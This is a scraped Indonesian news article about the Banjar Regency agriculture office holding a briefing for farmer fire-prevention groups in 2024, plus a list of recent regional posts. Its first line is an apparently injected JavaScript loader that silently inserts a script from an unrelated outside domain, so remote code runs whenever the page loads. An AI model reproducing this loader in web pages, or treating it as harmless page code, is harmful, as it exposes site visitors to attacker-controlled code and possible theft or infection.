(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Antisipasi Bahaya Karhutla, Distan Banjar Gelar Sosialisasi


KANALKALIMANTAN.COM, MARTAPURA – Dinas Pertanian Kabupaten Banjar (Distan) melalui Bidang Pengendalian dan Penanggulangan Bencana Pertanian menggelar sosialisasi dan koordinasi Kelompok Tani Peduli Api (KTPA) tahun 2024 di Aula Distan, Selasa (8/10/2024).

Kepala Dinas Pertanian Kabupaten Banjar melalui Kabid Pengendalian dan Penanggulangan Bencana Pertanian, Imelda Rosanty, mengatakan dalam Pencegahan dan Penanggulangan Kebakaran Lahan dan Kebun,  di tingkat kecamatan telah terbentuk 28 KTPA yang tersebar di kecamatan–kecamatan wilayah Kabupaten Banjar dan satu Brigade Kebakaran Lahan dan Kebun di Distan Banjar.

“Kepada Brigade kebakaran Lahan dan KTPA yang merupakan karyawan dan masyarakat yang sudah sejak dini melakukan upaya pencegahan terjadinya kebakaran di kawasan hutan maupun lahan agar terus ditingkatkan dan tetap bersemangat,” ucap Imelda.

Imelda berharap melalui acara pertemuan ini agar bersama-sama dapat bekerja lebih keras, cerdas, dan tuntas untuk dapat melakukan kegiatan pemadaman, patroli dan mensosialisasikan seruan/larangan kepada seluruh masyarakat untuk tidak membakar hutan dan lahan, serta upaya-upaya lain yang produktif yang dapat mengurangi dan mencegah terjadinya pembakaran hutan dan lahan.

Baca juga: Pemkab HSU Beri 300 Unit Bantuan WC Sehat ke Warga

Dia mengajak seluruh masyarakat untuk tidak melakukan pembakaran hutan dan lahan, karena sebagian besar kondisi lahan di Kalimantan Selatan berupa gambut yang potensial menyebabkan kebakaran akan meluas secara cepat dan menimbulkan kabut asap.

Kegiatan ini bertujuan untuk memperkuat sinergi dan meningkatkan kesiapsiagaan kelompok tani dalam menghadapi musim kemarau. Para peserta juga diajak untuk berdiskusi mengenai langkah-langkah koordinasi yang perlu dilakukan untuk menghadapi potensi ancaman karhutla.

Dalam kegiatan tersebut, para petani diberikan pemahaman mengenai dampak negatif karhutla terhadap produktivitas lahan pertanian.

Selain itu, mereka juga dibekali pengetahuan tentang teknik-teknik pengelolaan lahan yang aman dan berkelanjutan. Dengan mencegah karhutla, para petani dapat menjaga hasil panen mereka.

Baca juga: Tiga Terdakwa Kasus Korupsi Proyek Jamban Sehat HSU Disidang

Kegiatan dihadiri Kabid Pengendalian dan Penanggulangan Bencana Pertanian Imelda Rosanty, BPBD Kabupaten Banjar, Koramil Karang Intan, Polsek Karang Intan, Polsek Simpang Empat, Koramil Simpang Empat, Polsek Mataraman, Koramil Mataraman, Koramil Pengaron, Polsek Pengaron, Kelompok Tani Peduli Api (KTPA), Narasumber dari Manggala Agni dan Fahrurazi dari ULM. (Kanalkalimantan.com/infopublik/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.